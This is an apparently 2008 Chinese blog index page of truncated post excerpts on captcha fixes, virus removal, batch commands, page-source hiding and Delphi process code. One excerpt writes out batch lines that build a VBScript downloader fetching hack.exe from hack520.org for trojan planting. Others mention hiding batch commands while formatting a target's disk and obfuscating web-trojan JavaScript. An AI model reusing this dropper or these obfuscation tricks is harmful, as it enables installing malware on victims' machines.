0℃
2008年03月21日
2008年03月21日
⁄ delphi精华
今天上自己小站的时候，发现评论里出现大量的广告信息，真是可恶！很可能是广告机器人发的。是时候要改进PJBlog的验证方式了。首先看一下效果图：
具体的修改方法：1. 打开common目录下的function.asp，在大约50行左右可以找到以下代码：
</p>
<div class="UBBContent">'*************************************<br />'获得注册码<br />'************************************* <br />Function getcode() <br /> &nb...
PJBLOG
验证码
垃圾广告阅读全文
0℃
2008年03月21日
2008年03月21日
⁄ delphi精华
昨天帮邻居小平家电脑杀毒。打开电脑随便看了下，感觉反应速度很慢，尤其是IE，不是一般地慢。打开任务管理器就看到logo_1.exe进程，又是它！前些天在学校帮小芳姐电脑杀毒时也是这个病毒，记得当时她电脑除了C盘以外其它盘都无法双击打开，现在小平的电脑也不例外。不过这个不难，我在DOS下删除autorun.inf和对应的病毒文件，过了会它又在根目录下自动生成。我写了几句简单的批处理，就轻松将其彻底删除而无法再自动拷贝进来。logo1这个病毒我不是很熟悉，不过我结束它的进程后，在C盘找到它的主文件，轻松删除之...
logo_1.exe
病毒专杀
工具
免疫补丁
批处理阅读全文
0℃
2008年03月21日
2008年03月21日
⁄ delphi精华
彻底隐藏网页源代码：[html]function clear() {Source=document.body.firstChild.data;document.open();document.close();document.body.innerHTML=Source;}[/html]破解网页源代码：在地址栏或按Ctrl+O，输入：javascript:s=document.documentElement.outerHTML;document.write('');document.body.innerText=s; 源代码就出来了。不论加密如何复杂，最终都要还原成浏览器可以解析的html代码，而documentElement.outerHTML正是最终的结果。我们用它来破解刚才的加密网页，结果显示:<HTML><HEAD></HEA...
彻底隐藏
破解网页
源代码阅读全文
0℃
2008年03月21日
2008年03月21日
⁄ delphi精华
本文一共介绍了七种方法： 一：最简单的加密解密 二：转义字符""的妙用 三：使用Microsoft出品的脚本编码器Script Encoder来进行编码（自创简单解码） 四：任意添加NUL空字符（十六进制00H）（自创） 五：无用内容混乱以及换行空格TAB大法 六：自写解密函数法 七：错误的利用（自创） 在做网页时（其实是网页木马呵呵），最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝，实在让自己的心里有点不是滋味，要知道自己写点东西也挺累的......^*^ 但我们也应该清楚地认...
HTML网页
加密
解密
解析阅读全文
0℃
2008年03月21日
2008年03月21日
⁄ delphi精华
1.Echo 命令打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。语法echo [{on|off}] [message]Sample：echo off / echo hello world在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。2.@ 命令表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。Sample：@echo off@echo Now initializing the program,please wa...
批处理
＆CMD
命令大全阅读全文
0℃
2008年03月21日
2008年03月21日
⁄ delphi精华
@echo iLocal = LCase("C:\hack520org.exe"):iRemote = LCase("http://www.hack520.org/hack.exe"):'if 1=2 then Wscript.echo "Impossible!">>dhe.vbs @echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>dhe.vbs @echo 'if 1=2 then Wscript.echo "Impossible!">>dhe.vbs @echo xPost.Open "GET",iRemote,0 >>dhe.vbs @echo 'if 1=2 then Wscript.echo "Impossible!">>dhe.vbs @echo xPost.Send() >>dhe.vbs @echo 'if 1=2 then Wscript.echo "Impossible!">>dhe.vbs @echo Set sGet = CreateObject("ADOD...
shell
http
木马
种植
脚本阅读全文
0℃
2008年03月21日
2008年03月21日
⁄ delphi精华
uses TLHelp32,PsAPI;(1)显示进程列表：procedure TForm1.Button2Click(Sender: TObject);var lppe: TProcessEntry32; found : boolean; Hand : THandle; P:DWORD; s:string;beginListBox1.Items.Clear ;Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);found := Process32First(Hand,lppe);while found dobegin s := StrPas(lppe.szExeFile); if lppe.th32ProcessID>0 then p := lppe.th32ProcessID else p := 0; ListBox1.Items.AddObject(s,pointer(p));//列出所有进程。 found := Process...
Delphi编程
进程
窗口句柄
文件属性阅读全文
0℃
很搞 呵呵
忙什么呢。。都不跟新了。
呵呵，不错不错啦
呵呵，这种程序员式的幽默看过
不敢去做，没有勇气，打工仔就
倒霉孩子。。
挺佩服这个人的
确实启发很大